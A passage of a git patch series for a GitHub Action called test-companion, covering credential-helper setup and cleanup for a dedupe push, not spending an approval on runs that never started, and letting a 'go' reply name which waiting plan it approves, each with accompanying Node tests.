+ comment(body).skip?.reason ?? comment(body).skip, + "not-addressed-to-us", + `${JSON.stringify(body)} must not start a run`, + ) } }) @@ -658,3 +662,39 @@ describe("an unaddressed comment counts as approval only when it is exactly that assert.match(plan.context.instructions, /also cover the empty-cart case/) }) }) + +/** + * The result comment is edited in place, so it can only ever show the latest + * run. On a pull request where several people have asked for different jobs, + * nothing said whose request the current contents were answering. The report + * links back to the asking comment, which means carrying its URL out of here. + */ +describe("the asking comment is carried through", () => { + const at = "https://github.com/acme/shop/pull/412#issuecomment-99" + + test("a comment run knows where it was asked", () => { + const r = plan("issue_comment", { + action: "created", + issue: { number: 412, pull_request: { url: "x" } }, + comment: { body: "@test-companion explain this failure", user: { login: "dev" }, html_url: at }, + }) + assert.equal(r.askedAt, at) + assert.equal(r.commenter, "dev") + }) + + test("a payload without the link still plans the run", () => { + const r = plan("issue_comment", { + action: "created", + issue: { number: 412, pull_request: { url: "x" } }, + comment: { body: "@test-companion explain this failure", user: { login: "dev" } }, + }) + assert.equal(r.skip, undefined) + assert.equal(r.askedAt, undefined) + assert.equal(r.commenter, "dev") + }) + + test("a run nobody asked for has no asking comment", () => { + const r = plan("pull_request", { action: "opened", pull_request: pr() }) + assert.equal(r.askedAt, undefined) + }) +}) diff --git a/test-companion/test/report.test.mjs b/test-companion/test/report.test.mjs index 09fa191..c8cb3cd 100644 --- a/test-companion/test/report.test.mjs +++ b/test-companion/test/report.test.mjs @@ -1356,3 +1356,41 @@ describe("renderProposalBody does not print the answer twice", () => { assert.match(body, /what this run would do/) }) }) + +/** + * One comment, edited in place, is good for a tidy thread and bad for working + * out what you are looking at. Several people ask for different things on a + * busy pull request and the comment silently becomes the answer to the most + * recent one, with nothing saying whose request that was. + */ +describe("the report says which request it is answering", () => { + const view = (over) => ({ + workflow: "rca", + outcome: OUTCOMES.SUCCEEDED, + summary: { workflow: "rca", event: "pr_comment" }, + runUrl: "https://github.com/o/r/actions/runs/1", + ...over, + }) + const asked = "https://github.com/o/r/pull/25#issuecomment-6579040229" + + test("it links the comment that asked", () => { + const body = renderJobSummary(view({ askedBy: "naimish-browse", askedAt: asked })) + assert.ok(body.includes(asked), "the asking comment is not linked") + }) + + test("the link is labelled with who asked", () => { + const body = renderJobSummary(view({ askedBy: "naimish-browse", askedAt: asked })) + assert.ok(body.includes(`[@naimish-browse](${asked})`)) + }) + + test("knowing who asked but not where still names them", () => { + const body = renderJobSummary(view({ askedBy: "naimish-browse" })) + assert.ok(body.includes("@naimish-browse")) + }) + + // A run nobody asked for — opened on a pull request, a red build, a timer. + test("a run nobody asked for gets no such row", () => { + const body = renderJobSummary(view({ summary: { workflow: "generate", event: "pr_opened" } })) + assert.ok(!body.includes("Asked by"), "an unasked run claims someone asked for it") + }) +}) From 3ff74d36411fa18fb33f9d0f650edc70e7e46dc0 Mon Sep 17 00:00:00 2001 From: Naimish Srivastava Date: Mon, 2 Nov 2026 20:22:19 +0530 Subject: [PATCH 28/49] fix: give the dedupe claim a credential, so live mode can run MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit A live run's first act is a dedupe claim — a real `git push` of a ref to origin — and it had nothing to authenticate with. The workflow sets `persist-credentials: false` (correct, and what the starter ships) and the environment allowlist keeps GH_TOKEN out, so git had no credential at all. `fix` and `generate` died in under a second at the claim, before any work. `test-pr`, `rca` and `verdict` have no claim and were unaffected, which is why it hid. git is now pointed at the credential gh already holds, for github.com only. No token enters any environment variable: git asks gh, and gh reads the job-scoped config dir the sign-in step created. The teardown is tested rather than trusted — the helper lives in the global git config, which outlives the job on a self-hosted runner and names a config dir the cleanup deletes. Co-Authored-By: Claude Opus 5 --- test-companion/action.yml | 25 ++++++++++++++ test-companion/test/action-yml.test.mjs | 44 +++++++++++++++++++++++++ 2 files changed, 69 insertions(+) diff --git a/test-companion/action.yml b/test-companion/action.yml index e782625..2afe94d 100644 --- a/test-companion/action.yml +++ b/test-companion/action.yml @@ -234,6 +234,24 @@ runs: # reaches gh on stdin; it just must not also be in the env. if printf '%s' "$GH_TOKEN" | env -u GH_TOKEN -u GITHUB_TOKEN gh auth login --with-token; then echo "gh signed in for this job." + # Let git use that credential too, for this host only. + # + # A live run's dedupe claim is a real `git push` to origin + # (FR-14). With `persist-credentials: false` in the workflow — + # which is the right setting, and what the starter ships — + # there is no credential for it, so a live `fix` or `generate` + # died in under a second at the claim, before doing any work + # (live run 41463749519). Preview never hit it, which is why + # this went unnoticed. + # + # No token is added to any environment variable: git asks gh, + # and gh reads the job-scoped config dir set above. Undone in + # the cleanup step, which matters on a self-hosted runner. + if env -u GH_TOKEN -u GITHUB_TOKEN gh auth setup-git --hostname github.com 2>/dev/null; then + echo "git will use gh's credential for github.com." + else + echo "::notice::Could not point git at gh's credential; a live run's dedupe claim may fail." + fi else echo "::notice::Could not sign gh in. Jobs that read a failed build will not work in this run; everything else is unaffected." fi @@ -300,6 +318,13 @@ runs: run: | set -uo pipefail [ -n "${GH_CONFIG_DIR:-}" ] || exit 0 + # The credential helper first. It lives in the GLOBAL git config, + # which outlives the job on a self-hosted runner, and it points + # at the config dir removed below — leaving it would hand the + # next job a helper that answers nothing, and a git command that + # stops to ask for a password rather than failing. + git config --global --unset-all credential.https://github.com.helper 2>/dev/null || true + git config --global --unset-all credential.https://gist.github.com.helper 2>/dev/null || true gh auth logout --hostname github.com >/dev/null 2>&1 || true rm -rf "$GH_CONFIG_DIR" echo "gh credentials removed from this runner." diff --git a/test-companion/test/action-yml.test.mjs b/test-companion/test/action-yml.test.mjs index 93496c4..af03ab7 100644 --- a/test-companion/test/action-yml.test.mjs +++ b/test-companion/test/action-yml.test.mjs @@ -54,3 +54,47 @@ describe("action.yml — every step that runs tc must pin it (FR-2)", () => { assert.ok(checked.length >= 2, `expected at least the sign-in and run steps, checked: ${checked.join(", ")}`) }) }) + +/** + * A live run's dedupe claim is a real `git push` to origin, and the workflow + * sets `persist-credentials: false`, so git has no credential for it. Pointing + * git at gh's stored credential fixes that without putting a token in any + * environment variable. + * + * The teardown is the part worth pinning. The helper goes in the GLOBAL git + * config, which outlives the job on a self-hosted runner, and it points at a + * config dir the cleanup deletes. Left behind, the next job on that runner + * gets a helper that answers nothing and a git command that stops to ask for + * a password instead of failing. + */ +describe("action.yml — git's credential helper is cleaned up", () => { + test("git is pointed at gh's credential", () => { + assert.match(actionYml, /gh auth setup-git/, "a live run's dedupe claim has no credential to push with") + }) + + test("it is scoped to one host, not every remote", () => { + assert.match(actionYml, /gh auth setup-git --hostname github\.com/) + }) + + test("whatever sets the helper also unsets it", () => { + if (!/gh auth setup-git/.test(actionYml)) return + assert.match( + actionYml, + /--unset-all credential\.https:\/\/github\.com\.helper/, + "a self-hosted runner keeps a helper pointing at a deleted config dir", + ) + }) + + test("the teardown runs even when the job failed", () => { + const teardown = actionYml.slice(actionYml.indexOf("Take gh's credentials back off the runner")) + assert.match(teardown.slice(0, 200), /if: always\(\)/) + }) + + // Set up after the login succeeds, not before: there is nothing stored to + // hand git until then. + test("the helper is set up only on the successful-login path", () => { + const login = actionYml.indexOf("gh auth login --with-token") + const setup = actionYml.indexOf("gh auth setup-git") + assert.ok(login !== -1 && setup > login, "setup-git runs before there is a credential to use") + }) +}) From e1d2759c2d4407207384c86708f77b32a19932fa Mon Sep 17 00:00:00 2001 From: Naimish Srivastava Date: Mon, 2 Nov 2026 21:29:11 +0530 Subject: [PATCH 29/49] fix: a run that never ran must not spend the approval MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Replying `go` is spent by the run that carries the plan out. The marker saying so was written whatever happened — including to a run that never started. Found live (run 41463749519): an approved `fix` died in under a second because the dedupe claim had no credential. No work, nothing written, and the comment still said the plan was spent. Every later `go` on that commit was refused, a freshly posted proposal included, with no way out but a new commit. The question is whether a run happened, not whether it went well. Red tests and a ceiling did the work and may have written some of it, so they still spend it; a run that broke, could not start, or was skipped did not. Co-Authored-By: Claude Opus 5 --- test-companion/src/main.mjs | 12 +++++-- test-companion/src/outcome.mjs | 22 ++++++++++++ test-companion/test/imports.test.mjs | 24 +++++++++++++ test-companion/test/outcome.test.mjs | 52 +++++++++++++++++++++++++++- 4 files changed, 107 insertions(+), 3 deletions(-) diff --git a/test-companion/src/main.mjs b/test-companion/src/main.mjs index 59bdff6..5f1f291 100644 --- a/test-companion/src/main.mjs +++ b/test-companion/src/main.mjs @@ -23,7 +23,7 @@ import { findTicket } from "./ticket.mjs" import { childEnvFor } from "./child-env.mjs" import { runCapturingAnswer } from "./answer.mjs" import { appCredentials, signJwt, installationTokenRequest } from "./app-auth.mjs" -import { OUTCOMES, parseSummary, resolveOutcome, checkConclusion, stepShouldFail } from "./outcome.mjs" +import { OUTCOMES, parseSummary, resolveOutcome, checkConclusion, stepShouldFail, approvalWasSpent } from "./outcome.mjs" import { renderJobSummary, renderComment, @@ -1076,7 +1076,15 @@ async function main() { ? OUTCOMES.TESTS_FAILED : outcome postCheck(checkOutcome, view, checkSha(plan.context, summary, env.GITHUB_SHA), annotations) - if (plan.context.pr) postComment(plan.context.pr, { ...view, approvalNote, consumedMarker }) + // Mark the plan spent only if a run actually happened. A run that broke + // before doing anything used to spend it anyway, which left the commit + // permanently unapprovable — see approvalWasSpent (live run 41463749519). + if (plan.context.pr) + postComment(plan.context.pr, { + ...view, + approvalNote, + consumedMarker: approvalWasSpent(outcome) ? consumedMarker : "", + }) // Always exit 0. Whether the build goes red is the build effect's call, and // a separate step applies it — otherwise the report never gets attached. diff --git a/test-companion/src/outcome.mjs b/test-companion/src/outcome.mjs index d4a02ab..cfc00f9 100644 --- a/test-companion/src/outcome.mjs +++ b/test-companion/src/outcome.mjs @@ -146,3 +146,25 @@ export function stepShouldFail(buildEffect, outcome) { if (outcome === OUTCOMES.SKIPPED) return false return outcome !== OUTCOMES.SUCCEEDED } + +/** + * Did this run use up the approval it was given — FR-43. + * + * Replying `go` is spent by the run that carries the plan out, so a second + * `go` cannot quietly run the same work twice. That marker used to be written + * whatever happened, including to a run that never started. + * + * Found live (run 41463749519): an approved `fix` died in under a second + * because the dedupe claim had no credential to push with. No work, nothing + * written — and the comment still said the plan was spent. Every later `go` on + * that commit was refused, a fresh proposal included, and the only way out was + * a new commit. + * + * So the question is whether a RUN happened, not whether it went well. Red + * tests and a ceiling both did the work and may have written some of it; + * re-running those would duplicate it and charge again. A run that broke or + * never started did neither, and the person should be able to simply ask again. + */ +export function approvalWasSpent(outcome) { + return outcome !== OUTCOMES.RUN_BROKE && outcome !== OUTCOMES.COULD_NOT_RUN && outcome !== OUTCOMES.SKIPPED +} diff --git a/test-companion/test/imports.test.mjs b/test-companion/test/imports.test.mjs index 2e54a6e..f7fc6c8 100644 --- a/test-companion/test/imports.test.mjs +++ b/test-companion/test/imports.test.mjs @@ -154,3 +154,27 @@ describe("main.mjs — the App private key does not outlive its use", () => { ) }) }) + +/** + * Live run 41463749519. An approved `fix` broke in under a second, did no + * work, wrote nothing — and the result comment still carried the marker that + * says the plan was spent. Every later `go` on that commit was refused, a + * fresh proposal included, with no way out but a new commit. + * + * The decision lives in approvalWasSpent and is unit-tested there. What cannot + * be unit-tested is that main.mjs actually asks it, so it is pinned here. + */ +describe("main.mjs — a run that never ran does not spend the approval", () => { + test("the consumed marker is gated on the outcome", () => { + assert.match( + main, + /consumedMarker: approvalWasSpent\(outcome\) \? consumedMarker : ""/, + "an approval is spent whatever happened, so a broken run blocks the commit for good", + ) + }) + + test("it is never passed unconditionally", () => { + const bare = /\{\s*\.\.\.view,\s*approvalNote,\s*consumedMarker\s*\}/ + assert.ok(!bare.test(main), "the marker is attached without asking whether the run happened") + }) +}) diff --git a/test-companion/test/outcome.test.mjs b/test-companion/test/outcome.test.mjs index 99797e5..1f0b94b 100644 --- a/test-companion/test/outcome.test.mjs +++ b/test-companion/test/outcome.test.mjs @@ -1,6 +1,6 @@ import { test, describe } from "node:test" import assert from "node:assert/strict" -import { OUTCOMES, parseSummary, resolveOutcome, checkConclusion, stepShouldFail } from "../src/outcome.mjs" +import { OUTCOMES, parseSummary, resolveOutcome, checkConclusion, stepShouldFail, approvalWasSpent } from "../src/outcome.mjs" describe("parseSummary", () => { test("reads the CLI's key: value report", () => { @@ -152,3 +152,53 @@ describe("resolveOutcome — an unbound event is skipped, not broken", () => { assert.notEqual(checkConclusion(OUTCOMES.SKIPPED), "failure") }) }) + +/** + * Approving a plan is spent by the run that carries it out — but only if a run + * actually happened. + * + * Found live: an approved `fix` died in under a second before doing any work + * (the dedupe claim had no credential, run 41463749519), and the result comment + * still carried the consumed marker. Every later `go` on that commit was then + * refused — "already been approved and run on this commit" — including after a + * fresh proposal was put up. The only way out was a new commit. + * + * The dedupe claim already has this property: it releases itself on a + * non-success outcome. An approval should behave the same way. + */ +describe("approvalWasSpent", () => { + test("a run that succeeded spends it", () => { + assert.equal(approvalWasSpent(OUTCOMES.SUCCEEDED), true) + }) + + // The run did the work it was approved for. Red tests are a result, not a + // failure to run — re-running would redo the work and charge for it again. + test("failing tests still spend it", () => { + assert.equal(approvalWasSpent(OUTCOMES.TESTS_FAILED), true) + }) + + // It ran, did part of the work, and may already have written some of it. + test("stopping at a limit spends it", () => { + assert.equal(approvalWasSpent(OUTCOMES.STOPPED_AT_LIMIT), true) + }) + + test("a run that broke does NOT spend it", () => { + assert.equal(approvalWasSpent(OUTCOMES.RUN_BROKE), false) + }) + + test("a run that could not start does NOT spend it", () => { + assert.equal(approvalWasSpent(OUTCOMES.COULD_NOT_RUN), false) + }) + + test("a skipped run does NOT spend it", () => { + assert.equal(approvalWasSpent(OUTCOMES.SKIPPED), false) + }) + + // Totality: a new outcome must be considered rather than silently spending + // an approval because it is not one of the two named failures. + test("every outcome has an answer", () => { + for (const o of Object.values(OUTCOMES)) { + assert.equal(typeof approvalWasSpent(o), "boolean", `${o} has no answer`) + } + }) +}) From 74ca407ebf302fcc281428e701f2db15009523d2 Mon Sep 17 00:00:00 2001 From: Naimish Srivastava Date: Tue, 3 Nov 2026 14:24:08 +0530 Subject: [PATCH 30/49] fix: "go" can say which plan it answers, and spends only that plan MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Two problems with one cause: the approval machinery was keyed on the commit and nothing else. With two plans waiting there was nothing in what you typed that picked one — the newest simply won. `go #6580278184` now names a plan, and so does a pasted comment link. A bare `go` still takes the most recent plan still waiting. A number that matches nothing gets its own answer rather than "nothing is waiting". Six digits at least, so `go #25` stays what it looks like: somebody pointing at a pull request. The record of a spent plan now names the job too. Keyed on the commit alone, approving one job left every other plan on that commit unapprovable until somebody pushed. `stop` and the nightly sweep write the same job-keyed marker. A marker written before the job was recorded still spends the whole commit, which is what it meant when it was written. The result comment links the plan it carried out, since two plans can now genuinely be waiting. STM-5434, demo feedback item 5. 581 tests pass (17 new). 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-Authored-By: Claude Opus 5 --- test-companion/src/intent.mjs | 20 ++- test-companion/src/main.mjs | 58 +++++- test-companion/src/report.mjs | 96 ++++++++-- .../test/approval-targeting.test.mjs | 169 ++++++++++++++++++ 4 files changed, 314 insertions(+), 29 deletions(-) create mode 100644 test-companion/test/approval-targeting.test.mjs diff --git a/test-companion/src/intent.mjs b/test-companion/src/intent.mjs index 966475c..be26a5b 100644 --- a/test-companion/src/intent.mjs +++ b/test-companion/src/intent.mjs @@ -83,6 +83,21 @@ const RECHECK = /\bre-?\s?check\b/i */ const GO = /\b(go|approved?)\b/i +/** + * WHICH plan a reply is approving — STM-5434 demo feedback, item 5. + * + * `go #6580278184`, or the comment link GitHub gives you when you copy a + * comment's address. A bare `go` names nothing and the newest waiting plan + * wins, which is right when there is one and a coin toss when there are two. + * + * Six digits at least. A GitHub comment id is a ten-digit number; `#25` in a + * reply is somebody pointing at a pull request, and reading that as a plan id + * would find no plan and refuse an approval that was perfectly clear. + */ +const GO_TARGET = /#(?:issuecomment-)?(\d{6,})\b/ + +const namedProposal = (text) => GO_TARGET.exec(text)?.[1] + /** * Plain words to job names, most specific first. * @@ -112,7 +127,6 @@ const PHRASES = [ /** The first candidate this repository has bound, or the first overall. */ const pickBound = (candidates, workflows) => candidates.find((c) => (workflows ?? []).includes(c)) ?? candidates[0] - /** * A job asked for by its own name — FR-34. * @@ -183,7 +197,7 @@ export function readIntent(instructions, { workflows = [], proposalWaiting = fal // title" as a fresh request for `fix` and quietly dropped the approval // (M4, review of #3101). Still after STOP: approving and cancelling in one // breath has to cancel. - if (proposalWaiting && GO.test(text)) return { kind: INTENT.GO } + if (proposalWaiting && GO.test(text)) return { kind: INTENT.GO, proposalId: namedProposal(text) } for (const [pattern, candidates] of PHRASES) { if (pattern.test(text)) { @@ -196,7 +210,7 @@ export function readIntent(instructions, { workflows = [], proposalWaiting = fal if (named) return { kind: INTENT.WORKFLOW, workflow: named, preview } // FR-43: a reply of "go", with or without edits to the case list. - if (GO.test(text)) return { kind: INTENT.GO } + if (GO.test(text)) return { kind: INTENT.GO, proposalId: namedProposal(text) } // No job named, but a clear ask: run whatever the pipeline file binds to this // event — the same thing an event-driven run does — and carry the preview diff --git a/test-companion/src/main.mjs b/test-companion/src/main.mjs index 5f1f291..8020cce 100644 --- a/test-companion/src/main.mjs +++ b/test-companion/src/main.mjs @@ -149,6 +149,15 @@ let headBeforeRun = "" /** Set when this run is carrying out an approved proposal, so the plan is marked spent (M5). */ let consumedMarker = "" +/** + * The proposal this run is carrying out, so the report can link it. + * + * STM-5434 demo feedback, item 5: approving one job no longer finishes off the + * others on that commit, so two plans really can be waiting and "approved" on + * its own no longer says which one this is. + */ +let approvedPlan + /** * Put the working tree on one commit — review of #3101, M8. * @@ -417,6 +426,7 @@ function finishSkipped(reason, detail) { stopped: "Stopped, as asked.", "not-bound": "That job is not bound to pull request comments in this repository.", "nothing-to-approve": "Nothing is waiting for approval on this commit.", + "proposal-not-found": "That reply named a plan that is not waiting on this commit.", "proposal-expired": "That proposal was more than a day old and has been dropped.", proposed: "Proposed, and waiting for someone to reply go.", "setup-requested": "Opened a pull request adding the settings file.", @@ -592,7 +602,7 @@ async function main() { // case 3's title" is an approval with an edit, not a request to run // `fix` (M4, review of #3101). const comments = flattenPages(gh(["api", `repos/${REPO}/issues/${plan.context.pr}/comments`, "--paginate", "--slurp"])) - const waiting = findProposal(comments, plan.context.sha, Date.now(), botLogin) + let waiting = findProposal(comments, plan.context.sha, Date.now(), botLogin) const intent = readIntent(plan.context.instructions, { workflows: (bindingsDoc?.bindings ?? []).filter((b) => b.enabled).map((b) => b.workflow), @@ -607,7 +617,9 @@ async function main() { // possible reading of "stop": the person asks for the run to end and a // new one begins. if (intent.kind === INTENT.STOP) { - stopRuns(plan, plan.commenter ?? "you") + // The waiting plan's JOB goes with the drop (item 5), or `stop` on + // one job would finish off every other plan on the commit too. + stopRuns(plan, plan.commenter ?? "you", waiting?.workflow) finishSkipped("stopped") } if (intent.kind === INTENT.SETUP) { @@ -615,6 +627,28 @@ async function main() { finishSkipped("setup-requested") } + // `go #1234` names WHICH plan — STM-5434 demo feedback, item 5. Resolved + // here because the intent is what carries the number, and before + // anything reads `waiting`, because from this point on it IS the plan + // being approved. + // + // A number that matches nothing gets its own answer rather than the + // generic "nothing is waiting": the person was specific, and telling + // them the thread is empty when it is not would send them looking in + // the wrong place. + if (intent.kind === INTENT.GO && intent.proposalId) { + waiting = findProposal(comments, plan.context.sha, Date.now(), botLogin, { id: intent.proposalId }) + if (!waiting) { + replyOnPr( + plan.context.pr, + `I have no plan \`#${intent.proposalId}\` still waiting on \`${String(plan.context.sha).slice(0, 7)}\`. ` + + `It may have been approved, dropped, or written against an earlier commit. ` + + `Reply **go** on its own to approve the most recent one.`, + ) + finishSkipped("proposal-not-found") + } + } + // A named job narrows what the binding would otherwise choose. The event // is kept, so the binding still governs result mode and limits — asking // by comment must not be a way around the repository's own settings. @@ -647,7 +681,7 @@ async function main() { // still in the thread and tells the person their branch moved on // when it did not — seen on run 41067235005, where the commit was // the same one the plan had just been approved and run against. - const used = proposalAlreadyUsed(comments, plan.context.sha, botLogin) + const used = proposalAlreadyUsed(comments, plan.context.sha, botLogin, plan.workflow) if (used) { replyOnPr( plan.context.pr, @@ -713,7 +747,11 @@ async function main() { gh(["api", `repos/${REPO}/commits/${plan.context.sha}/check-runs?per_page=100`])?.check_runs, ) if (pending) rememberCheck(plan.context.sha, pending) - consumedMarker = proposalConsumedMarkerFor(plan.context.sha) + // Named with the JOB it finished (item 5). Without that, approving + // `fix` made a waiting `generate` plan unapprovable until somebody + // pushed — hit twice while testing. + consumedMarker = proposalConsumedMarkerFor(plan.context.sha, plan.workflow) + approvedPlan = waiting?.url ? { id: waiting.id, url: waiting.url } : undefined // FR-43: the run carries out the approved plan — the proposal as the // approver left it, edits and all. Written to a file rather than @@ -982,6 +1020,8 @@ async function main() { const view = { workflow: plan.workflow ?? summary.workflow, + // Which plan this run carried out — undefined on a run nobody approved. + approvedPlan, workNote, extraChecks, warnings, @@ -1292,7 +1332,7 @@ function cancelForClosedPr(payload) { } } -function stopRuns(plan, who) { +function stopRuns(plan, who, workflow) { const sha = plan.context?.sha const pr = plan.context?.pr const { found, cancelled, forbidden } = cancelRunsOn(sha) @@ -1320,7 +1360,7 @@ function stopRuns(plan, who) { // The check goes with it. Cancelling a run leaves its check in progress, // and a check that never resolves blocks anyone who made it required. dropProposalAndCheck(sha, `Stopped by @${who}.`) - replyOnPr(pr, `Stopped by @${who}.\n\n${proposalDroppedMarkerFor(sha)}`) + replyOnPr(pr, `Stopped by @${who}.\n\n${proposalDroppedMarkerFor(sha, workflow)}`) } /** @@ -1435,6 +1475,10 @@ function sweepExpiredProposals() { if (!sha || !pr?.number) continue const comments = flattenPages(gh(["api", `repos/${REPO}/issues/${pr.number}/comments`, "--paginate", "--slurp"])) if (!proposalNeedsDropping(comments, sha, Date.now(), botLogin)) continue + // The same question, asked again for the ANSWER rather than the yes/no: + // the dropped marker has to name the job, or dropping one stale plan + // would finish off every other plan on that commit (item 5). + const stale = findProposal(comments, sha, Date.now(), botLogin) // Complete the check the PROPOSAL run left in progress, rather than // adding a second one beside it. The sweep is a different process with @@ -1449,7 +1493,7 @@ function sweepExpiredProposals() { postCheck(OUTCOMES.COULD_NOT_RUN, { outcome: OUTCOMES.COULD_NOT_RUN, summary: {}, runUrl: RUN_URL }, sha) replyOnPr( pr.number, - `That proposal went a day without a reply, so I have dropped it. The check now says Action required — comment again and I will put up a fresh one.\n\n${proposalDroppedMarkerFor(sha)}`, + `That proposal went a day without a reply, so I have dropped it. The check now says Action required — comment again and I will put up a fresh one.\n\n${proposalDroppedMarkerFor(sha, stale?.workflow)}`, ) notice(`Test Companion: dropped a stale proposal on #${pr.number}.`) } diff --git a/test-companion/src/report.mjs b/test-companion/src/report.mjs index 3455e70..6ddabe2 100644 --- a/test-companion/src/report.mjs +++ b/test-companion/src/report.mjs @@ -134,6 +134,7 @@ export function renderJobSummary({ answer, askedBy, askedAt, + approvedPlan, workNote, extraChecks = [], warnings = [], @@ -185,6 +186,11 @@ export function renderJobSummary({ // Which request this is the answer to. The comment is edited in place, // so without this a reader cannot tell whose question it answers. ["Asked by", askedBy ? (askedAt ? `[@${askedBy}](${askedAt})` : `@${askedBy}`) : ""], + // WHICH plan this run carried out. With two plans waiting on one commit, + // "approved" on its own does not say which was approved — and after + // item 5 two CAN wait, because approving one no longer finishes off the + // other. + ["Plan", approvedPlan?.url ? `[#${approvedPlan.id}](${approvedPlan.url})` : ""], ].filter(([, v]) => v) lines.push("| | |", "|---|---|") @@ -425,11 +431,14 @@ export function renderProposal(body, sha, requester, workflow) { * when the plan on this commit has not been used at all and the superseded * reading is the right one after all. */ -export function proposalAlreadyUsed(comments, sha, us) { +export function proposalAlreadyUsed(comments, sha, us, workflow) { const want = String(sha ?? "").trim() - const mine = (comments ?? []).filter((c) => isOurs(c, us)) - if (mine.some((c) => (c.body ?? "").includes(proposalConsumedMarkerFor(want)))) return "approved" - if (mine.some((c) => (c.body ?? "").includes(proposalDroppedMarkerFor(want)))) return "dropped" + const job = String(workflow ?? "").trim() + // No job asked about means "any plan on this commit", which is what the + // caller wants when the reply named no job either. + const here = spentPlans(comments, us).filter((m) => m.sha === want && (!m.workflow || !job || m.workflow === job)) + if (here.some((m) => m.kind === "consumed")) return "approved" + if (here.some((m) => m.kind === "dropped")) return "dropped" return undefined } @@ -443,25 +452,36 @@ export function proposalAlreadyUsed(comments, sha, us) { * Fails CLOSED on an unreadable timestamp — treated as expired, so the worst * case is a fresh proposal rather than approving one of unknown age. */ -export function findProposal(comments, sha, now = Date.now(), us) { - // `by=` is optional so proposals written before the requester was recorded - // stay approvable rather than becoming stuck. +export function findProposal(comments, sha, now = Date.now(), us, opts = {}) { // `by=` and `workflow=` are both optional, so proposals written before // either was recorded stay approvable rather than becoming stuck. const want = String(sha ?? "").trim() // Spent, either way round: approved and run (M5), or dropped by `stop` or // by the sweep. Checked before anything else, so neither a second `go` nor // the sweep can act on a plan that is already finished with. - const spent = [proposalConsumedMarkerFor(want), proposalDroppedMarkerFor(want)] - if ((comments ?? []).some((c) => isOurs(c, us) && spent.some((m) => (c.body ?? "").includes(m)))) return undefined - - const ours = (comments ?? []).filter((c) => isOurs(c, us) && readMarker(c.body)?.sha === want) + // + // PER JOB, not per commit (STM-5434 demo feedback, item 5). A plan a + // marker does not name is still waiting, however many OTHER plans on this + // commit have been used up. + const spent = spentPlans(comments, us).filter((m) => m.sha === want) + if (spent.some((m) => !m.workflow)) return undefined + const spentJobs = new Set(spent.map((m) => m.workflow)) + + let ours = (comments ?? []).filter((c) => isOurs(c, us) && readMarker(c.body)?.sha === want) + ours = ours.filter((c) => !spentJobs.has(readMarker(c.body)?.workflow ?? "")) + // `go #1234` names ONE plan. With two waiting there is otherwise nothing in + // what was typed that picks between them, and the newest wins by default — + // fine when there is one, a coin toss when there are two. + const named = String(opts?.id ?? "").trim() + if (named) ours = ours.filter((c) => String(c.id) === named) if (ours.length === 0) return undefined const newest = ours.reduce((a, b) => (a.id >= b.id ? a : b)) const age = now - Date.parse(newest.created_at ?? "") const mark = readMarker(newest.body) return { id: newest.id, + // So the run's own comment can link the plan it carried out. + url: newest.html_url, expired: !(age <= PROPOSAL_WINDOW_MS), requester: mark?.requester, // The job the person actually read and approved. Undefined on a @@ -529,12 +549,48 @@ export function renderApprovedPlan(proposalBody, replyText) { * Separate from the dropped marker because they are different events and the * reply text differs, but both mean the same thing here — this plan is spent. */ -export function proposalConsumedMarkerFor(sha) { - return `` +export function proposalConsumedMarkerFor(sha, workflow) { + return `` +} + +export function proposalDroppedMarkerFor(sha, workflow) { + return `` +} + +/** + * The JOB travels with a spent plan too — STM-5434 demo feedback, item 5. + * + * Keyed on the commit alone, one approval finished off every plan on that + * commit: approving `fix` meant a waiting `generate` plan could not be + * approved at all until somebody pushed. Hit twice during testing. + */ +function jobField(workflow) { + const job = String(workflow ?? "").trim() + return job ? ` workflow=${job}` : "" } -export function proposalDroppedMarkerFor(sha) { - return `` +/** + * Every record in this thread of a plan being finished with, and what for. + * + * ONE pattern, matching both kinds, for the same reason MARKER is one pattern: + * the readers drifted twice when there were several. + * + * `workflow=` is absent on markers written before the job was recorded. Those + * mean the whole commit — which is what they meant when they were written. + * Reading them as "no particular job" would let an upgrade re-run work + * somebody had already approved, so they keep their old, wider meaning. + */ +const SPENT_MARKER = //g + +function spentPlans(comments, us) { + const out = [] + for (const c of comments ?? []) { + if (!isOurs(c, us)) continue + for (const m of String(c.body ?? "").matchAll(SPENT_MARKER)) { + out.push({ kind: m[1], sha: m[2], workflow: m[3] }) + } + } + return out } /** @@ -548,10 +604,12 @@ export function proposalDroppedMarkerFor(sha) { * avoided by posting the tick at the end of a run rather than the start. */ export function proposalNeedsDropping(comments, sha, now = Date.now(), us) { - const waiting = findProposal(comments, sha, now, us) - if (!waiting?.expired) return false - const dropped = proposalDroppedMarkerFor(sha) - return !(comments ?? []).some((c) => isOurs(c, us) && (c.body ?? "").includes(dropped)) + // findProposal already leaves out anything dropped or approved, per job, so + // an expired plan coming back from it is by definition one nobody has + // finished with. The separate dropped-marker check this used to do was the + // same question asked twice, and the second asking was commit-wide — which + // is exactly what item 5 had to stop. + return Boolean(findProposal(comments, sha, now, us)?.expired) } /** diff --git a/test-companion/test/approval-targeting.test.mjs b/test-companion/test/approval-targeting.test.mjs new file mode 100644 index 0000000..4f21e58 --- /dev/null +++ b/test-companion/test/approval-targeting.test.mjs @@ -0,0 +1,169 @@ +import { test, describe } from "node:test" +import assert from "node:assert/strict" +import { readIntent, INTENT } from "../src/intent.mjs" +import { + proposalMarkerFor, + proposalConsumedMarkerFor, + proposalDroppedMarkerFor, + proposalAlreadyUsed, + proposalNeedsDropping, + findProposal, + renderJobSummary, +} from "../src/report.mjs" +import { OUTCOMES } from "../src/outcome.mjs" + +/** + * "go" should say which request it is answering — STM-5434 demo feedback, + * item 5. + * + * Two problems, one cause: the approval machinery was keyed on the COMMIT and + * nothing else. With two plans waiting there was nothing in what you typed to + * pick one, and the record of which plans had been used could not tell two + * jobs apart — so approving one blocked approving any other on that commit + * until somebody pushed. Hit twice during testing. + */ + +const US = "test-companion[bot]" +const SHA = "abc123def4567890" +const now = Date.parse("2026-11-03T12:00:00Z") +const fresh = "2026-11-03T11:00:00Z" + +/** A proposal comment from us, for one job. */ +const proposal = (id, workflow, { requester = "dev", sha = SHA, at = fresh } = {}) => ({ + id, + user: { type: "Bot", login: US }, + created_at: at, + html_url: `https://github.com/o/r/pull/1#issuecomment-${id}`, + body: `Here is the plan.\n\n${proposalMarkerFor(sha, requester, workflow)}`, +}) + +/** Our own comment recording that a plan was 